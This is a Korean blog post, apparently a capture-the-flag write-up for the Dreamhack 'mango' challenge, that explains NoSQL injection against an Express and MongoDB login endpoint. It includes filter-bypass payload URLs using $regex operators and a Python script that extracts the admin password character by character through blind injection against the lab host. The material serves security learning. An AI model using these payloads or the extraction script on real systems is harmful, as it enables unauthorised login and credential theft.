'll Hacker
NoSQL Injection 정리 및 dreamhack wargame : mango write up 본문
NoSQL Injection 정리 및 dreamhack wargame : mango write up
씨이오가 되자 2024. 2. 1. 18:28실습을 통해 익히기
https://dreamhack.io/wargame/challenges/90/
문제를 푸는 법
1) 코드 분석 -> 웹서비스 분석 -> 엔드 포인트 부분 잘보기, 핵심 함수 코드 잘보기
첫번째 엔드 포인트 /login
app.get('/login', function(req, res) {
// HTTP GET 요청 핸들러 정의, /login 경로로의 GET 요청에 대한 처리
// function(req, res)에는 요청과 응답을 나타내는 각각의 매개변수가 전달됨
if(filter(req.query)){
// filter함수 호출한 결과가 참인지 거짓인지 평가
// req.query는 GET 요청에서 전달된 쿼리 매개변수들을 나타냄
res.send('filter'); // 참이면 응답으로 문자열 filter을 보내고 함수 종료
return;
}
const {uid, upw} = req.query;
// 객체 비구조화 할당을 사용하여 req.query 객체에서 'uid', 'upw' 속성을 추출하여 각각 'uid','upw' 변수에 할당.
db.collection('user').findOne({
// MongoDB의 'user' 컬렉션에서 'uid'와 'upw'를 기준으로 검색을 수행하는 'findOne' 메서드 호출
'uid': uid,
'upw': upw,
}, function(err, result){ //'err'는 오류, 'result'는 검색 결과를 나타냄
if (err){
res.send('err'); // 오류 발생하면 'err' 문자열을 응답으로 보냄
}else if(result){
res.send(result['uid']); // 검색 결과가 존재하면 해당 결과의 'uid'를 응답으로 보냄
}else{
res.send('undefined'); // 그 외 경우 'undefined' 문자열을 응답으로 보냄
}
})
});
⏩ 이용자가 쿼리로 전달한 uid와 upw로 데이터베이스를 검색하고, 찾아낸 이용자의 정보를 반환
두번째 filter 함수
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi']; # 금지어
filter = function(data){
// 'filter'라는 이름의 함수 정의, 이 함수는 'data'라는 매개변수를 받음
const dump = JSON.stringify(data).toLowerCase();
// 입력된 데이터를 JSON 문자열로 변환하고, 그 문자열을 소문자로 변환한 값을 'dump'라는 상수에 저장
// 소문자 구분X
var flag = false;
// flag라는 변수를 선언하고 초기값을 false로 설정
// 나중에 금지어가 발견되면 'true'로 변경됨
BAN.forEach(function(word){
// 'BAN' 배열에 대해 'forEach'메서드를 사용하여 각 원소에 대한 반복 시작
// 'word'는 현재 반복되고 있는 금지어를 나타냄
if(dump.indexOf(word)!=-1) flag = true;
// 현재 반복 중인 금지어 'word'가 'dump'문자열에 포함되어 있다면, 'flag'를 'true'로 설정함
// 'indexOf' 메서드는 문자열에서 특정 부분 문자열이 처음으로 등장하는 인덱스를 반환하며, 존재하지 않을 경우 -1 반환
});
return flag; // flag 값을 반환, 금지어가 발견되면 true반환, 없으면 false 반환
}
⏩ 금지어 필터링
2) 취약점 분석
db.collection('user').findOne({
//MongoDB의 'user' 컬렉션에서 'uid'와 'upw'를 기준으로 검색을 수행하는 'findOne' 메서드 호출
'uid': uid,
'upw': upw,
},
⏩ 쿼리 변수의 타입을 검사하지 않음 -> NoSQL Injection 공격 발생가능
NoSQL Injection이 무엇이냐? (출처: chatGpt)
NoSQL Injection은 주로 NoSQL 데이터베이스에서 발생할 수 있는 보안 취약점 중 하나입니다. SQL Injection과 유사하지만 관계형 데이터베이스가 아닌 NoSQL 데이터베이스에서 발생하는 문제를 가리킵니다.
주로 MongoDB, CouchDB, Redis 등과 같은 NoSQL 데이터베이스에서 발생할 수 있습니다.
NoSQL Injection은 사용자로부터 입력된 데이터를 적절하게 검증하거나 이스케이핑하지 않고 데이터베이스 쿼리에 직접 삽입될 때 발생합니다. 이로 인해 악의적인 사용자가 데이터베이스를 조작하거나 민감한 정보를 노출시키는 공격이 가능해집니다.
예를 들어, MongoDB에서는 일반적으로 JSON 형식의 데이터를 사용하며, 이 데이터는 동적으로 생성된 쿼리에 삽입됩니다. 만약 개발자가 사용자로부터 입력 받은 데이터를 적절하게 검증하지 않고 쿼리에 직접 삽입한다면, 악의적인 사용자는 입력란에 MongoDB 쿼리 연산자를 삽입하여 데이터베이스를 조작할 수 있습니다.
예를 들어, 아래와 같은 MongoDB 쿼리가 있다고 가정해봅시다.
db.users.find({ 'username': '<user_input>' });
만약 `user_input`에 다음과 같은 값을 입력하면 NoSQL Injection이 발생할 수 있습니다.
' || '1'=='1
결과적으로 쿼리는 다음과 같이 됩니다.
db.users.find({ 'username': '' || '1'=='1' });
이는 항상 참이 되어 모든 사용자의 데이터가 반환될 수 있게 됩니다.
NoSQL Injection을 방지하기 위해서는 사용자로부터의 입력을 적절하게 검증하고, 데이터를 데이터베이스에 전달할 때 이스케이핑을 수행해야 합니다. 또한, 데이터베이스에서 제공하는 안전한 API나 ORM(Object-Relational Mapping)을 사용하는 것이 권장됩니다.
💡이스케이핑이란?
- 특수 문자나 예약어를 다루는데 사용되는 특별한 문자나 기술
- 주로 문자열에서 특정 문자를 표현하거나 해석하는 것을 방지
- 다음 웹사이트에서 이스케이프 문자들을 확인가능 (https://mateam.net/html-escape-characters/)
3) 공격(익스플로잇)
3-1) Blind NoSQL Injection Payload 생성
MongoDB의 $regex 연산 사용
http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*
💡$regex 연산 (출처: chatGPT)
MongoDB의 `$regex` 연산자는 정규 표현식을 사용하여 쿼리를 수행하는 데 사용됩니다. 이 연산자를 사용하면 특정 패턴에 매칭되는 문서를 검색할 수 있습니다. `$regex` 연산자는 주로 문자열 필드에 대한 검색에 사용되며, 정규 표현식 패턴을 지정하여 데이터베이스에서 일치하는 문서를 찾을 수 있습니다.
기본 문법은 다음과 같습니다:
db.collection.find({ field: { $regex: /pattern/ } })
- `db.collection`: 쿼리를 수행할 컬렉션을 나타냅니다.
- `field`: 검색할 필드의 이름입니다.
- `$regex`: MongoDB에서 정규 표현식을 사용하겠다는 표시입니다.
- `/pattern/`: 검색할 정규 표현식 패턴입니다.
예를 들어, 'users' 컬렉션에서 'name' 필드가 "John"으로 시작하는 문서를 찾고 싶다면 다음과 같이 쿼리를 작성할 수 있습니다:
db.users.find({ name: { $regex: /^John/ } })
위의 쿼리에서 `/^John/`는 "John"으로 시작하는 패턴을 나타냅니다.
일부 `$regex` 옵션을 사용하여 검색을 더 조정할 수 있습니다. 몇 가지 예시는 다음과 같습니다:
1) Case-Insensitive 검색:
db.users.find({ name: { $regex: /^john/i } })
=> `i` 옵션은 대소문자를 무시하고 검색합니다.
2) 부분 일치 검색:
db.users.find({ name: { $regex: /doe/ } })
=> `doe` 패턴을 포함하는 어떤 문자열이든 찾습니다.
3) 패턴으로 끝나는 문자열 검색:
db.users.find({ name: { $regex: /son$/ } })
=> `son`으로 끝나는 문자열을 찾습니다.
이와 같이 `$regex` 연산자를 사용하면 다양한 정규 표현식 패턴을 활용하여 MongoDB에서 유연한 검색을 수행할 수 있습니다.
3-2) filter 우회
http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*
3-3) Exploit Code 작성
import requests, string
#requests 모듈을 사용하여 웹 서버에 HTTP GET 요청을 보냄
HOST = 'http://host3.dreamhack.games:10109/'
ALPHANUMERIC = string.digits + string.ascii_letters
# 대상 호스트와 요청에 사용될 문자열 패턴(ALPHANUMERIC)이 정의되어 있음
SUCCESS = 'admin' # 서버에서 응답이 'admin'과 일치하는 경우 해당 문자를 플래그에 추가하고 계속 진행
flag = ''
for i in range(32): # 플래그 길이 32자리
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
# 웹서버에 대한 GET 요청을 보냄, 요청 URL에는 정규 표현식이 포함되어 있으며, 현재까지 찾은 플래그('flag')와 시도 중인 문자('ch')가 삽입
if response.text == SUCCESS: # 서버의 응답이 'admin'과 일치하는지 확인
flag += ch # 응답이 'admin'과 일치하는 경우 현재까지 찾은 플래그에 문자 추가
break
print(f'FLAG: DH{{{flag}}}') # 현재까지 찾은 플래그 출력
#코드는 서버에 대한 요청을 보내고, 응답이 'admin'과 일치하는 경우 해당 문자를 플래그에 추가하고
#계속 진행. 이러한 방식으로 32자리의 플래그를 찾음
그래서 파이썬 코드 돌려봤더니 requests 모듈이 없다고 함;;; 다시 설치
'Hacking > WebHacking' 카테고리의 다른 글
Dreamhack wargame : image-storage write up (0) | 2024.02.06 |
---|---|
Command Injection 정리 (0) | 2024.02.01 |
웹해킹 유용도구 : 개발자 도구 사용법 (0) | 2024.01.19 |
Dreamhack wargame : ex-req-ex write-up (4) | 2024.01.04 |
Dreamhack wargame : File Vulnerability Advanced for linux write-up (1) | 2024.01.04 |